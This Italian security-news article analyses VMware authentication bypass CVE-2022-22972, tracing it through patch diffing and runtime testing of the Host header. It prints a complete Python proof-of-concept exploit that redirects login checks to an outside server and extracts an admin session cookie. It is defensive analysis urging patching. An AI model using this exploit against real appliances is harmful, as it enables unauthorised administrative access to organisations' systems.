Red Hot Cyber

Sicurezza informatica, cybercrime, hack
news, e altro ancora
  • English

VMware bypass dell’autenticazione. Analizziamo come si arriva al PoC di sfruttamento

VMware ha recentemente corretto una vulnerabilità critica di bypass dell’autenticazione nei propri prodotti VMware Workspace ONE Access, Identity Manager e vRealize Automation (CVE-2022-22972).

Un attore malintenzionato con accesso all’interfaccia utente potrebbe essere in grado di ottenere l’accesso amministrativo senza la necessità di autenticarsi.

WMware fornisce istruzioni su patch e soluzioni di mitigazione, ma non dello sfruttamento del difetto di sicurezza. Scavare nella patch è un buon punto di partenza. vRealize Automation 7.6 contiene un vIDM incorporato. Da tenere presente che altri prodotti e versioni hanno flussi di lavoro ed endpoint di autenticazione diversi. 

I download e i dettagli della patch sono disponibili qui https://kb.vmware.com/s/article/70911

Advertisements

Al momento della stesura di questo documento, la patch più recente che risolve la CVE-2022-22972 è la 28 che vi consigliamo di installarla il prima possibile.

Come si è arrivati alla PoC

VMware rilascia patch cumulative, il che significa che la patch 28 risolve tutte le vulnerabilità del prodotto. Ciò rende piuttosto difficile scoprire esattamente come viene affrontata la vulnerabilità più recente. 

Per rimediare a questo problema, si possono confrontare le due patch quindi la 27 con la 28.

Dopo aver estratto le patch, si scopre che sono presenti file zip denominati patch-vRA-7.6.0-19482496-HF27.content nella patch 27 e patch-vRA-7.6.0-19772459.19640138-HF28.content nella patch 28.

Advertisements

Estraendo questi file zip si può quindi avere accesso al contenuto delle patch. Non ci sono molte differenze degne di nota nelle cartelle, ma è presente un rpm del servizio Horizon che non è più al suo posto.

Usando rpm2cpio si può quindi estrarre il contenuto. 

Troviamo quindi tre differenze: dbConnection-0.1-jar-with-dependencies.jaranalytics-0.1.war, e frontend-01.war

Estraiamo quindi i .warfile per trovare quanto segue relativamente a frontend-01.war:

Advertisements

file di guerra frontend diffDiff del war frontend

In particolare, troviamo un nuovo HostHeaderFilter.class e alcune differenze in web.xml dove viene mostrato che il nuovo HostHeaderFilter che viene applicato a tutti i modelli di URL.

web.xml diffweb.xml diff

Usando quindi un decompilatore Java, si può convertire il file HostHeaderFilter.class in HostHeaderFilter.java:

Advertisements

HostHeaderFilter.javaHostHeaderFilter.java

Vediamo che questo filtro rifiuta qualsiasi richiesta con un’intestazione Host ritenuta non valida. 

Questa è una cosa interessante da indagare e può essere appunto il modo per inviare strane intestazioni host.

Esame del runtime

Dopo aver esplorato senza successo vari endpoint, si nota qualcosa di strano durante l’invio di un’intestazione host non valida all’endpoint di accesso. 

Advertisements

Si imposta quindi l’ Host su un valore falso, ovvero “asfd”.

richiesta di intestazione host non validarichiesta di intestazione host non valida

Non c’è nulla degno di nota nella richiesta stessa, ma se osserviamo horizon.log, possiamo vedere che l’applicazione sta cercando di risolvere “asdf“.

Errore di risoluzione DNSErrore di risoluzione DNS

Advertisements

Ciò indica che l’applicazione sta tentando di stabilire una connessione a ciò che abbiamo inserito nell’intestazione Host.

Esecuzione di un server di accesso

Il prossimo passo è quello di capire come l’app si connetta per vedere che tipo di informazioni stia tentando di inviare. Pertanto è possibile scrivere un semplice server https:

server httpsserver https

Dopo aver inserito il nostro indirizzo IP nell’intestazione dell’host, vediamo una nuova eccezione nel registro:

Advertisements

SSL eccezioneEccezione SSL

Questo errore indica che l’applicazione non è in grado di convalidare il nostro certificato. 

Questo ha senso perché il certificato sul nostro server è self signed. 

Dopo aver aggiunto il nostro certificato nell’archivio certificati Java dell’appliance, possiamo vedere che l’applicazione si connette effettivamente al nostro server e invia le informazioni di accesso in una richiesta HTTP POST. 

Advertisements

Da tenere presente che un utente malintenzionato non dovrebbe replicare questo passaggio. Potrebbero invece ospitare sul proprio server di accesso un server pubblico con un certificato valido.

connessione al server di autenticazioneconnessione al server di autenticazione

L’applicazione si aspetta una risposta dal server HTTP per sapere se all’utente deve essere concesso o meno l’accesso. Si riscrive quindi il server per rispondere con uno stato 200 a qualsiasi richiesta POST.

server httpsserver https

Advertisements

Con il nuovo server, siamo in grado di accedere con successo!

login effettuato con successologin effettuato con successo

Automatizzare l’exploit

Finora abbiamo utilizzato il proxy di Burp Suite per modificare le richieste inviate da un browser, ma ora vorremmo automatizzare questo flusso di lavoro per utilizzare degli exploit PoC. 

Alla fine si tratterebbe di inviare tramite metodo POST

Advertisements

SAAS/auth/login/embeddedauthbroker/callback

Dove nell’Host venga riportata una intestazione personalizzata. 

Questo endpoint richiede la codifica di alcuni metadati aggiuntivi nel corpo del POST. Se esaminiamo la fonte della pagina di accesso, troviamo le informazioni di cui abbiamo bisogno nei campi e dei moduli nascosti.

campi modulo nascosti

Advertisements

campi modulo nascosti

Il nostro POC invia le richieste a partire da /vcac dall’endpoint allo stesso modo di un browser e analizza la pagina di accesso per estrarre questi campi nascosti. 

Questi campi nascosti vengono quindi codificati nel corpo del POST finale con l’intestazione Host impostata sul nostro server di accesso personalizzato. Il POC analizza quindi la risposta per estrarre i cookie di autenticazione. Questi cookie possono essere utilizzati per eseguire azioni come l’utente scelto.

L’exploit PoC

Questo script può essere utilizzato ignorando l’autenticazione su vRealize Automation 7.6 utilizzando la CVE-2022-22972. Workspace ONE e vIDM hanno endpoint di autenticazione diversi, ma il punto cruciale della vulnerabilità rimane lo stesso.

Advertisements
import argparse
import requests
import urllib3
import sys

from bs4 import BeautifulSoup
from urllib.parse import urlparse

urllib3.disable_warnings()

# parse arguments
parser = argparse.ArgumentParser(description='POC for CVE-2022-22972')
parser.add_argument('url', type=str, help='Base url of appliance')
parser.add_argument('--username', '-u', required=False, default='administrator',
                    help='Name of local user to use for login')
parser.add_argument('--host', required=False, default='ei3wpt9100.execute-api.us-east-2.amazonaws.com',
                    help='Name of host to to use in Host header replacement. This host should have a login server running')
args = parser.parse_args()


url = args.url
if not url.endswith('/'):
    url += "/"

# Create a new session
s = requests.Session()

# Uncomment the following to proxy through BurpSuite
# s.proxies = {
#     "https": "https://127.0.0.1:8080"
# }


# Send an initial get request to get a session cookie
resp = s.get(url + "vcac", verify=False, allow_redirects=True)

# Get the url from the response in the event the user passed an ip
# address instead of a domain name
parsed_url = urlparse(resp.url)
url = parsed_url.scheme + "://" + parsed_url.netloc + "/"


# Send another get request with the original_uri parameter. This will cause
# a series of redirects ending with a login page with various hidden form fields that
# we need to extract for our final POST.
print("Extracting state from vcac redirects...")
params = {
    "original_uri": f"{url}vcac",
}
resp = s.get(
    url + "vcac/", verify=False, allow_redirects=True, params=params)

# Extract hidden forms fields
soup = BeautifulSoup(resp.text, 'html.parser')
form = soup.find('form')
if not form:
    print('Form not found for /vcac endpoint. This might be patched or you may be using this against something that isnt vRealize Automation')
    sys.exit()

data = {
    'protected_state': form.find('input', {'id': 'protected_state'}).get('value'),
    'userstore': form.find('input', {'id': 'userstore'}).get('value'),
    'username': args.username,
    'password': 'horizon',  # bogus password
    'userstoreDisplay': form.find('input', {'id': 'userstoreDisplay'}).get('value'),
    'horizonRelayState': form.find('input', {'name': 'horizonRelayState'}).get('value'),
    'stickyConnectorId': form.find('input', {'name': 'stickyConnectorId'}).get('value'),
    'action': 'Sign+in'
}

# Assemble to forms fields into the body of the POST
body = ""
for k, v in data.items():
    body += f'{k}={v}&'

# remove last &
body = body[0:len(body) - 1]


# Create the auth POST request
req = s.prepare_request(requests.Request('POST',
                        url + "SAAS/auth/login/embeddedauthbroker/callback",  data=body))

# Set the content type header. Set Host header for an endpoint that will return 200
# for requests to /SAAS/API/1.0/REST/auth/local/login
req.headers.update({
    "Content-type": "application/x-www-form-urlencoded",
    "Host": args.host
})

print("Sending POST to auth endpoint")
resp = s.send(req, verify=False, allow_redirects=False)

# Extract the cookies
print()
print(f"HZN={s.cookies.get('HZN')}")
print()
print("Set the HZN cookie in your browser to bypass authentication")

Riepilogo

La CVE-2022-22972 è una vulnerabilità di manipolazione dell’intestazione Host relativamente semplice. 

Gli aggressori motivati ​​non avrebbero difficoltà a sviluppare un exploit per questa vulnerabilità. Una rapida ricerca su Shodan.io per le applicazioni VMware interessate restituisce un numero piuttosto basso di organizzazioni che le espongono a Internet. 

Da notare che l’industria sanitaria, l’industria dell’istruzione e i governi sembrano far parte delle organizzazioni esposte, mettendole a rischio per lo sfruttamento attuale e futuro. 

Le organizzazioni dovrebbero affrontare questi problemi seguendo immediatamente le indicazioni contenute nel VMware Security Advisory.

Advertisements

Fonti
https://github.com/horizon3ai/CVE-2022-22972
https://www.horizon3.ai/vmware-authentication-bypass-vulnerability-cve-2022-22972-technical-deep-dive/
https://www.rapid7.com/blog/post/2022/05/19/cve-2022-22972-critical-authentication-bypass-in-vmware-workspace-one-access-identity-manager-and-vrealize-automation/